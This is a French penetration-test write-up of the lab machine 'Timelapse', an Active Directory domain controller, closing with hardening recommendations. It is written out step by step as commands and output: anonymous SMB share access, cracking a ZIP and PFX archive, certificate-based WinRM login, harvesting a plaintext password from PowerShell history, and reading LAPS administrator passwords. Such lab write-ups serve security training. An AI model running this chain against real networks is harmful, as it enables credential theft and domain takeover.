

Rapport de Test d'Intrusion

Machine cible : **Timelapse** — Environnement Active Directory (Windows)

Cible	10.129.3.85 (DC01.timelapse.htb)
Type	Contrôleur de domaine Active Directory Windows
Domaine	timelapse.htb
Objectif	Obtenir un accès initial puis les privilèges Administrateur du domaine
Méthodologie	Reconnaissance → Partage SMB invité → Craquage d'archive/PFX → WinRM par certificat → Historique PowerShell → Abus LAPS

1. Reconnaissance et énumération

Un scan nmap identifie des services typiques d'un contrôleur de domaine Active Directory : DNS, Kerberos, RPC, SMB, LDAP (389 et 3268 pour le Global Catalog), LDAPS, et l'interface HTTP API (SSDP/UPnP). Le certificat SSL présenté confirme le nom du domaine.

```
$ nmap -sVC -p- 10.129.3.85
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap            Active Directory LDAP (Domain: timelapse.htb0.)
445/tcp   open  microsoft-ds?
3268/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: commonName=dc01.timelapse.htb
```

La présence du port 5986 (WinRM sur SSL) est notable : c'est un vecteur d'accès distant qui nécessitera des identifiants valides — le reste de l'attaque va donc chercher à collecter des informations exploitables via des partages accessibles anonymement.

1.1 Énumération SMB anonyme

Une énumération des partages SMB avec un accès invité (*guest*, sans mot de passe) révèle un partage nommé **Shares** en lecture seule, accessible sans authentification préalable — une mauvaise configuration fréquente qui expose souvent de la documentation interne ou des sauvegardes.

```
$ nxc smb 10.129.3.85 -u 'guest' -p '' --shares
SHARE      Permissions  Remark
-----
ADMIN$      Remote Admin
C$          Default share
IPC$        READ        Remote IPC
NETLOGON    Logon server share
Shares      READ
SYSVOL      Logon server share
```

2. Découverte de secrets dans le partage SMB

Le contenu du partage *Shares* est cartographié avec le module *spider_plus* de NetExec, qui liste récursivement tous les fichiers accessibles. Deux catégories de fichiers intéressants apparaissent : une documentation complète sur **LAPS** (Local Administrator Password Solution — un service Microsoft qui

attribue et fait tourner des mots de passe administrateur locaux uniques par machine du domaine), et une archive protégée par mot de passe, **winrm_backup.zip**.

```
$ cat ~/.nxc/modules/nxc_spider_plus/10.129.3.85.json
{
  "Shares": {
    "Dev/winrm_backup.zip": { "size": "2.55 KB", ... },
    "HelpDesk/LAPS.x64.msi": { "size": "1.07 MB", ... },
    "HelpDesk/LAPS_Datasheet.docx": { ... },
    "HelpDesk/LAPS_OperationsGuide.docx": { ... },
    "HelpDesk/LAPS_TechnicalSpecification.docx": { ... }
  }
}
```

La documentation LAPS n'est pas exploitable directement, mais elle indique clairement que ce mécanisme est déployé sur le domaine — une information précieuse pour la suite de l'attaque. L'archive *winrm_backup.zip*, elle, est le vecteur d'accès initial : son nom suggère une sauvegarde d'identifiants ou de certificats utilisés pour l'accès WinRM.

2.1 Craquage du mot de passe de l'archive ZIP

Le hash de l'archive protégée est extrait avec **zip2john**, puis soumis à John the Ripper avec la liste *rockyou.txt*. Le mot de passe est retrouvé rapidement :

```
$ zip2john winrm_backup.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE
```

L'archive décompressée contient un fichier **legacyy_dev_auth.pfx** : un conteneur PKCS#12 qui regroupe un certificat client et sa clé privée, généralement utilisé pour une authentification forte (par certificat) via WinRM.

2.2 Craquage de la phrase de passe du fichier PFX

Le fichier PFX étant lui-même protégé par une phrase de passe, son hash est extrait avec **pfx2john** et de nouveau soumis à John avec *rockyou*. Le mot de passe du conteneur est retrouvé (« thuglegacy » selon la session de craquage).

```
$ pfx2john legacyy_dev_auth.pfx > pfxhash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt pfxhash.txt
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE
```

Une fois le mot de passe du conteneur connu, **openssl** est utilisé pour extraire séparément la clé privée (chiffrée avec une phrase PEM au choix) et le certificat public au format PEM, formats directement utilisables par le client **evil-winrm** :

```
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem
Enter Import Password: thuglegacy
Enter PEM pass phrase: ****

$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.pem
Enter Import Password: thuglegacy
```

3. Accès initial via WinRM (authentification par certificat)

Avec la paire clé privée / certificat extraite, une connexion WinRM authentifiée par certificat client est établie via **evil-winrm**, en pointant vers le port WinRM SSL (5986) identifié lors du scan initial. Cela donne un accès shell en tant qu'utilisateur **legacyy**.

```
$ evil-winrm -i 10.129.3.85 -S -c cert.pem -k key.pem
Enter PEM pass phrase: ****
```

```
*Evil-WinRM* PS C:\Users\legacyy>
```

Le flag utilisateur est récupéré sur le bureau :

```
■ user.txt febb17b4cb257fdad18922fdd15f1ff4
```

4. Élévation de privilèges : historique PowerShell et groupe LAPS_Readers

Une pratique d'investigation classique consiste à vérifier si un administrateur a, par le passé, tapé un mot de passe en clair dans une session PowerShell interactive — celui-ci reste alors enregistré dans l'historique de la console (**ConsoleHost_history.txt**, utilisé par le module PSReadLine).

```
*Evil-WinRM* PS C:\Users> type $env:APPDATA\Microsoft\Windows\PowerShell\
PSReadLine\ConsoleHost_history.txt

whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
    SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
```

Cet historique révèle en clair le mot de passe du compte de service **svc_deploy** : **E3R\$Q62^12p7PLlC%KWaxuaV**. Une vérification de l'appartenance aux groupes de ce compte montre qu'il est membre du groupe **LAPS_Readers**, un groupe personnalisé du domaine autorisé à lire les mots de passe administrateur locaux gérés par LAPS.

```
*Evil-WinRM* PS C:\Users> net user svc_deploy
Local Group Memberships      *Remote Management Use
Global Group memberships    *LAPS_Readers      *Domain Users
```

Le service LAPS stocke le mot de passe administrateur local courant de chaque machine du domaine dans un attribut LDAP confidentiel (typiquement *ms-Mcs-AdmPwd*), lisible uniquement par les comptes autorisés — ici, *svc_deploy* en fait partie. Le module LDAP *laps* de NetExec permet d'interroger directement cet attribut avec les identifiants du compte de service :

```
$ nxc ldap 10.129.3.85 -d timelapse.htb -u 'svc_deploy' \
-p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps

[+] timelaps.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS      [+] Getting LAPS Passwords
Computer:DC01$ User: Password:pQ91ClR09{e2B.5Qo}N2I8!d
```

5. Accès Administrateur du domaine

Le mot de passe administrateur local ainsi obtenu (géré par LAPS pour le contrôleur de domaine DC01) est utilisé pour établir une nouvelle session WinRM, cette fois directement en tant qu'**Administrateur**, ce qui constitue une compromission complète du contrôleur de domaine.

```
$ evil-winrm -i 10.129.3.85 -u "Administrator" \
-p 'pQ91ClR09{e2B.5Qo}N2I8!d' -S

*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

À ce stade, l'accès administrateur complet au domaine *timelapse.htb* est acquis, permettant la récupération du flag root/administrateur sur le bureau de l'Administrateur (non explicitement capturé dans les extraits,

mais accessible avec ce niveau de privilège).

6. Synthèse et recommandations

- Ne jamais autoriser l'accès invité (guest) en lecture sur des partages SMB contenant de la documentation sensible ou des sauvegardes de secrets.
- Ne jamais stocker de certificats/clés PFX protégés par des mots de passe faibles sur des partages accessibles ; utiliser des phrases de passe fortes et un stockage restreint (ACL strictes).
- Purger ou désactiver l'historique PSReadLine sur les postes où des identifiants sensibles peuvent être saisis en clair, ou sensibiliser les administrateurs à ne jamais taper de mots de passe en clair dans une console PowerShell interactive.
- Restreindre strictement l'appartenance au groupe autorisé à lire les mots de passe LAPS (ms-Mcs-AdmPwd) aux seuls comptes qui en ont un besoin opérationnel réel, avec audit des lectures.
- Faire tourner (rotation) régulièrement les mots de passe de comptes de service et éviter leur réutilisation dans des scripts ou historiques persistants.
- Surveiller les authentications WinRM par certificat client pour détecter les usages anormaux de certificats compromis.